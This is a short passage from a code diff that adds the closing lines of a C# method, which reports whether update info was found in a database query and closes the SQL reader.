Info was found but state is unknown"); + return true; + } + } + else + { + Console.WriteLine("\r\nUpdate Info cannot be found."); + } + + sqldrReader.Close(); + return true; + } +}